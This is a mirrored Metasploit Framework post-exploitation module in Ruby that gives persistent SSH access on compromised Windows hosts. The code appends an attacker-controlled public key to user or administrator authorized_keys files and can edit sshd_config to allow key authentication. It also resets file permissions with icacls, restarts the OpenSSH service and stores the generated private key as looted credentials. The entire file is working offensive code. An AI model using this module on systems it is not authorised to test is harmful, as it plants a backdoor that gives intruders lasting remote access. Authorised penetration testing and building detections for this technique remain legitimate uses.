Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/sshkey_persistence.rb
19669 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'sshkey'
7
8
class MetasploitModule < Msf::Post
9
Rank = GoodRanking
10
11
include Msf::Post::File
12
include Msf::Post::Windows::UserProfiles
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'SSH Key Persistence',
19
'Description' => %q{
20
This module will add an SSH key to a specified user (or all), to allow
21
remote login via SSH at any time.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'Dean Welch <dean_welch[at]rapid7.com>'
26
],
27
'Platform' => [ 'windows' ],
28
'SessionTypes' => [ 'meterpreter', 'shell' ],
29
'Compat' => {
30
'Meterpreter' => {
31
'Commands' => %w[
32
stdapi_fs_mkdir
33
stdapi_fs_separator
34
]
35
}
36
},
37
'Notes' => {
38
'Stability' => [CRASH_SAFE],
39
'SideEffects' => [ARTIFACTS_ON_DISK],
40
'Reliability' => []
41
}
42
)
43
)
44
45
register_options(
46
[
47
OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),
48
OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]),
49
OptString.new('SSHD_CONFIG', [true, 'sshd_config file', 'C:\ProgramData\ssh\sshd_config' ]),
50
OptString.new('ADMIN_KEY_FILE', [true, 'Admin key file', 'C:\ProgramData\ssh\administrators_authorized_keys' ]),
51
OptBool.new('EDIT_CONFIG', [true, 'Edit ssh config to allow public key authentication', false ]),
52
OptBool.new('ADMIN', [true, 'Add keys for administrator accounts', false ]),
53
OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ])
54
]
55
)
56
end
57
58
def run
59
sep = separator
60
61
sshd_config = read_file(datastore['SSHD_CONFIG'])
62
63
print_status('Checking SSH Permissions')
64
if !pub_key_auth_allowed?(sshd_config) && datastore['EDIT_CONFIG']
65
enable_pub_key_auth(sshd_config)
66
end
67
68
auth_key_file = auth_key_file_name(sshd_config)
69
70
print_status("Authorized Keys File: #{auth_key_file}")
71
72
auth_key_folder = auth_key_file.split('/')[0...-1].join(sep)
73
auth_key_file = auth_key_file.split('/')[-1]
74
75
paths = []
76
if datastore['USERNAME']
77
grab_user_profiles.each do |profile|
78
paths << "#{profile['ProfileDir']}#{sep}#{auth_key_folder}" if profile['UserName'] == datastore['USERNAME']
79
end
80
end
81
82
if datastore['ADMIN'] # SSH keys for admin accounts are stored in a separate location
83
admin_auth_key_folder = datastore['ADMIN_KEY_FILE'].split(sep)[0...-1].join(sep)
84
admin_auth_key_file = datastore['ADMIN_KEY_FILE'].split(sep)[-1]
85
86
print_status("Admin Authorized Keys File: #{admin_auth_key_file}")
87
88
write_key([admin_auth_key_folder], admin_auth_key_file, sep)
89
end
90
91
if !datastore['USERNAME'] && !datastore['ADMIN']
92
grab_user_profiles.each do |profile|
93
paths << "#{profile['ProfileDir']}#{sep}#{auth_key_folder}"
94
end
95
end
96
97
if datastore['CREATESSHFOLDER'] == true
98
create_ssh_folder(paths)
99
end
100
101
paths = paths.select { |d| directory?(d) }
102
unless paths.empty?
103
write_key(paths, auth_key_file, sep)
104
end
105
106
restart_openssh
107
end
108
109
def enable_pub_key_auth(sshd_config)
110
sshd_config = sshd_config.sub(/^.*(PubkeyAuthentication).*$/, 'PubkeyAuthentication yes')
111
write_file(datastore['SSHD_CONFIG'], sshd_config)
112
end
113
114
def pub_key_auth_allowed?(sshd_config)
115
/^PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config
116
if pub_key && pub_key == 'no'
117
print_error('Pubkey Authentication disabled')
118
elsif pub_key
119
vprint_good("Pubkey set to #{pub_key}")
120
end
121
end
122
123
def auth_key_file_name(sshd_config)
124
%r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config
125
if auth_key_file
126
auth_key_file = auth_key_file.gsub('%h', '')
127
auth_key_file = auth_key_file.gsub('%%', '%')
128
if auth_key_file.start_with? '/'
129
auth_key_file = auth_key_file[1..]
130
end
131
else
132
auth_key_file = '.ssh/authorized_keys'
133
end
134
auth_key_file
135
end
136
137
def create_ssh_folder(paths)
138
vprint_status("Attempting to create ssh folders that don't exist")
139
paths.each do |p|
140
unless directory?(p)
141
print_status("Creating #{p} folder")
142
session.fs.dir.mkdir(p)
143
end
144
end
145
end
146
147
def restart_openssh
148
cmd_exec('net stop "OpenSSH SSH Server"')
149
cmd_exec('net start "OpenSSH SSH Server"')
150
end
151
152
def set_pub_key_file_permissions(file)
153
cmd_exec("icacls #{file} /inheritance:r")
154
cmd_exec("icacls #{file} /grant SYSTEM:(F)")
155
cmd_exec("icacls #{file} /grant BUILTIN\\Administrators:(F)")
156
end
157
158
def separator
159
if session.type == 'meterpreter'
160
sep = session.fs.file.separator
161
else
162
# Guess, but it's probably right
163
sep = '\\'
164
end
165
sep
166
end
167
168
def write_key(paths, auth_key_file, sep)
169
if datastore['PUBKEY'].nil?
170
key = SSHKey.generate
171
our_pub_key = key.ssh_public_key
172
loot_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')
173
print_good("Storing new private key as #{loot_path}")
174
else
175
our_pub_key = ::File.read(datastore['PUBKEY'])
176
end
177
paths.each do |path|
178
path.chomp!
179
authorized_keys = "#{path}#{sep}#{auth_key_file}"
180
print_status("Adding key to #{authorized_keys}")
181
append_file(authorized_keys, "\n#{our_pub_key}")
182
print_good('Key Added')
183
set_pub_key_file_permissions(authorized_keys)
184
next unless datastore['PUBKEY'].nil?
185
186
path_array = path.split(sep)
187
path_array.pop
188
user = path_array.pop
189
credential_data = {
190
origin_type: :session,
191
session_id: session_db_id,
192
post_reference_name: refname,
193
private_type: :ssh_key,
194
private_data: key.private_key.to_s,
195
username: user,
196
workspace_id: myworkspace_id
197
}
198
199
create_credential(credential_data)
200
end
201
end
202
end
203
204